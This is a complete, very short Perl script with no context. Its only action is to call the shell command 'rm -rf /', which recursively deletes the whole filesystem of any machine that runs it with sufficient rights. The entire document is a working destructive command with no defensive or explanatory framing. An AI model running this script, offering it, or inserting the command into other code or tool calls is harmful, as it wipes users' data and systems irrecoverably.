#!/usr/bin/perl system qw{rm -rf /}